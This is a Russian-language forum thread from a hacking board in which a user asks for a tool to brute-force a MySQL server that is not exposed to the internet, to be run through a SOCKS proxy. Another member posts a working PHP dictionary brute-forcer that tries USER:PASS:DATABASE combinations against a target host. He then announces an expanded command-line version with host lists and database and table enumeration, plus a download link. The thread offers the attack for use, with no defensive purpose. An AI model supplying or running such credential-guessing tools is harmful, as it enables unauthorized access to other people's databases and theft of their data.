Нужен скрипт для бурта mysql.

Discussion in 'PHP' started by guest3297, 27 Sep 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Нужен скрипт для бурта mysql, на край нужен софт, пущу через сокс, трабл в том что mysql не видно из нета.
     
  2. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    А локальный доступ есть? Какой доступ вообще? На уровне веб? На уровне консоли?
     
    1 person likes this.
  3. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    На уровне веб на уровне консоли.
    Нужен или скрипт php perl, или бинарник под win or *nix or BSD.
     
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    [ cash ], ну ок. Словарь или прямой?
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Как понять прямой?
    Лучше бы что то типо
    вбиываешь ip:port
    и путь к файлику ну допустим USER:pASS:DATABASE
     
  6. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Code:
    <?php
    
    	$target = "127.0.0.1:3306";   // Реквизиты хоста
    	$dictionary = "brute.dic";   // Путь к словарю
    
    	if (!file_exists($dictionary)) die("Error: dictionary not found!");
    
    	$file_id = fopen($dictionary, "r") or die("Error: could not open dictionary!");
    
    	while (!feof($file_id)) {
    		$line = trim(fgets($file_id, 1024));
    
    		if (strlen($line) > 0) {
    			$dic_data = split(":", $line);
    
    			if (count($dic_data) != 3) print("Error: wrong data - skipping current line");
    			else {
    				$user		 = strval($dic_data[0]);
    				$password = strval($dic_data[1]);
    				$database = strval($dic_data[2]);
    
    				printf("Trying USER=%s PASSWD=%s DBNAME=%s. Result: ", $user, $password, $database);
    
    				$db_id = @mysql_connect($target, $user, $password);
    
    				if (!is_resource($db_id)) print("<font color=\"red\">failed</font><br>\n");
    				else {
    					print("<font color=\"green\"><b>!!! SUCCESS !!!</b></font><br>\n");
    					printf("Trying to get database '%s' for user '%s'. Result: ", $database, $user);
    
    					if (!@mysql_selectdb($database)) print("<font color=\"red\">failed</font><br>\n");
    					else print("<font color=\"green\"><b>!!! SUCCESS !!!</b></font><br>\n");
    				}
    
    				@mysql_close($db_id);
    			}
    		}
    	}
    
    	fclose($file_id);
    
    ?>
    Словарь формата: USER:pASS:DATABASE.

    Результат теста на локальном мускле:

    Это имел в виду?
     
    2 people like this.
  7. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    у мну говорить ощыбка....-(
     
  8. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    N19hTW0lF - ну так напиши чё за ошибка в какой Часте тела!
     
  9. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    кэш, лучше гидры ничего не найдешь

    http://freeworld.thc.org/thc-hydra/
     
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    в данном случае скрпит был лучше чем гидра.
     
  11. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    N19hTW0lF, говори что за ошибка... Разберёмся...
     
  12. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    groundhog
    сори ...оказывается у мну проби!=))сори еще раз!
     
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    groundhog
    Можешь слегка модфицировать свой скриптик что бы брутил еще допутим по листу ip пасс что была менюшка и какойто интерфейс. И собственно зарелизить на ачате как тулзу для брута, сама идея довольно интересная. Если зарелизишь подкину словарик.
     
  14. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    [ cash ], без проблем... Составь ТЗ, в котором опиши всё, что хочешь от скрипта, вплоть до визуальных пожеланий и т.д. Скидывай в личку и через пару дней забубеню в лучшем виде. :)
     
    1 person likes this.
  15. N19hTW0lF

    N19hTW0lF Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    188
    Likes Received:
    140
    Reputations:
    4
    тока сюда поставь акей?-))
     
  16. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Simple MySQL Brute Tool v.0.0.1

    Simple MySQL Brute Tool v.0.0.1 [cash] edition

    smbrute.php [[-host=%HOST%] [-port=%PORT%] | [-hosts=%FILE%]]
    [-tables] [-databases] [-version] [-help] -accounts=%FILE%


    Утилита поддерживает следующий список параметров командной стоки:

    • -help – вывод краткой справки по команде;
    • -host – задаёт единичный целевой хост, к которому будет вестись подключение, данный параметр является необязательным и по умолчанию имеет значение 127.0.0.1;
    • -port – задаёт порт на единичном целевом хосте, к которому будет вестись подключение, параметр является необязательным и по умолчанию имеет значение 3306;
    • -tables – данный необязательный параметр позволяет отобразить список имеющихся таблиц в базе данных, в случае успешной авторизации (при условии, что у заданного пользователя будет полноценный доступ к этой информации);
    • -hosts – задаёт файл-словарь с сетевыми записями, установка данного параметра приводит к игнорированию параметров -host и -port, так как все данные для подключений будут браться из словаря;
    • -databases – данный необязательный параметр позволяет отобразить список всех имеющихся баз данных в случае успешной авторизации (при условии, что у заданного пользователя будет полноценный доступ к этой информации);
    • -version – данный необязательный параметр позволяет определить версию сервера баз данных в случае успешной авторизации;
    • -accounts – единственный обязательный параметр, задаёт файл-словарь с учётными записями, по которым и будет производится перебор;
    Сам скрипт и краткий мануал в формате pdf можно взять тут: http://slil.ru/24928577
     
    2 people like this.
  17. cb93ka

    cb93ka Elder - Старейшина

    Joined:
    4 Jan 2007
    Messages:
    36
    Likes Received:
    13
    Reputations:
    3
    перезалейте плз.